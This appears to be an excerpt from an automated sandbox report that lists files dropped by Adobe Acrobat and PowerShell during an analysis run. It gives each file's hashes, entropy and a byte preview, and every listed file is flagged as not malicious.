SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFklqkc9l/tfllXlE/HT8k+VNNX8RolJuRdxLlGB9lQRYwpDdt:kKzxteT8rNMa8RdWBwRd
MD5:	8FDCE96198062D6B301DD4F758722E64
SHA1:	7B32DD4B470D54477C753A4872E0C251ACDF936A
SHA-256:	F0B970D8A83B0E324AB234112C28255A0545766FB179FD503B37BE3EFDF818BD
SHA-512:	4C5515B7AF8B2B5AC63F988043AE1F9286A4FBEAD8EE9F8E9124D867509A88CE2F98475419DDA4C5A8A4B96E2576A6F89442E714BB24541029DB831183AC65C3
Malicious:	false
Preview:	p...... .............e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236007213199359
Encrypted:	false
SSDEEP:	6:kKZ3PL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ZiDImsLNkPlE99SNxAhUe/3
MD5:	9B37708ADFA31A71BB2CC1DE10CA18C7
SHA1:	5325225B15CE28037ABBA8FF630B2D85F5DED3D1
SHA-256:	2DF504E8B22449FF562D79BC7773D518F89842150E3A616B89D55CAFBF376151
SHA-512:	B286E7D9EB5BE9D3DC5AEA7DBD6D9B792E3536FB3C8AA65A9A59C9B277E05A727440A19DBDE3BD7E7161C5975140C900AF6418731C7960F22E3A6CA82FEA8F62
Malicious:	false
Preview:	p...... ........`...e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.07232909314817
Encrypted:	false
SSDEEP:	48:YIo+eHIYH8TFSGTFXwiTFgCTF3bTFDL0ToT3UTpNMaTN:ChoJLWNMu
MD5:	CC38FE0942C0EBC3F0FF99844E5F1516
SHA1:	EC22AAD7BFC46E7BB37007B290F0857685EE9B4B
SHA-256:	B8B57ED4CB39A21C9DE58C5FEB7EC5215BE996B32613673FB299C6FB5F0D39ED
SHA-512:	81F35FBE64BF488F0DE5752D68A1DBF295256399954F88C11E85F29BC6FBDA8EC6A916298D228FAB0BB0B8E91DF0AFC11F347378A8137473969FA7C62921DAC4
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736758035000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1f627a0ebb1619d115b1670685dc36d6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696494934000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1a6c845034c91b8f895804fd80befd78","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696494933000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"27da5dddbe5bafa6951ba0799b63a0fa","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696494928000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"52e4d71a3bec9e300fc55dce48c3c732","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1696493920000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c5e64480adba3de9b9cf370b71aefd47","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696493920000},{"id":"Edit_InApp_Aug2020","info":{"dg":"8b26a75f

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3197774404595304
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeJ8tqVpo:TGufl2GL7ms9WR1CPmPbPahsypilIM
MD5:	B8F96772A0CAB6D0D3A9B68BE2B8DD29
SHA1:	A37FB9DE397C8EAAA48B1F8D4446E9DA88A1F189
SHA-256:	4C1A45DEC6E37DCB54098F10F6374A2FC9A54230680F7CD5D30BB5D198DDCCA2
SHA-512:	36D2CB4630A9DFD5EF957BE43F5CE434215A1089653386CF706BD58212CBF56F09D58ADBD9708EBAC0608CD1ACD020C4A5F56ECEAEC315B08F987949357FD77E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7805075727835742
Encrypted:	false
SSDEEP:	24:7+ttlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeJ84qVpaVrScVr0InwqLhx/T:7MqWR1CPmPbPah5ypilI5qFl2GL7msx
MD5:	B4D61FEC692547F321E67ADB22018BE0
SHA1:	3D58BE33ADB04C7E843EA72BC95ECAF3E5D4B85F
SHA-256:	D66897198591021021F0BB77B83A52C4705E187BC503647AB6379C2091E2D7ED
SHA-512:	BB8C636165E8D39A343B57E5180A093A801089A96B5A6AFD311C2C7BEE25E3A7CC8924ABDCAE367CCE6ABA2DB09EA128AE00D1C813732BDF827370C90FABE413
Malicious:	false
Preview:	.... .c.....^[/C..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHJD6JouNbicQ8Q0t9rZxSTksYyu:6a6TZ44ADEHJD6J9Nb9psK
MD5:	94364B3BE94542C216709BAC573E1CA9
SHA1:	4B8FB10DC76BF964E12538EFFF5EAC78BA02298C
SHA-256:	A98EE663A487A8DCFF799CB8F2893B574F340CC0EF6EE4B53EB7C90E3DACA921
SHA-512:	B5CA2854F93FCC5609351C91AD6228206BE68671949F7F36473556DA8586A8D7A0CC1C0DE516BF2DCB07EF07B5644A11703098DAFCF3E555CF7D8925089FA52F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI37175.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl+llH:Qw946cPbiOxDlbYnuRKTjhl9
MD5:	F973710CBA5EF8A3AF3F2355D693DAF4
SHA1:	7B6FDFFDBAB3A1BA9161B4B29AFF14229ADD3B1B
SHA-256:	BDD6C85939ED4E1EDCAF69B9825621D6E0ED58271382DEBAE00FD75EF641647A
SHA-512:	E0370D65FB8619912EFE9B9BA872011AA1EC3A569467F4B85A221E25436A6A4E939BFD50DFB424B19902D6B47596AF12FA623620C4A391825FDC044460322074
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.3.:.4.7.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wk1ew3d.44i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2jsq1ey.2g4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 03-47-14-856.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

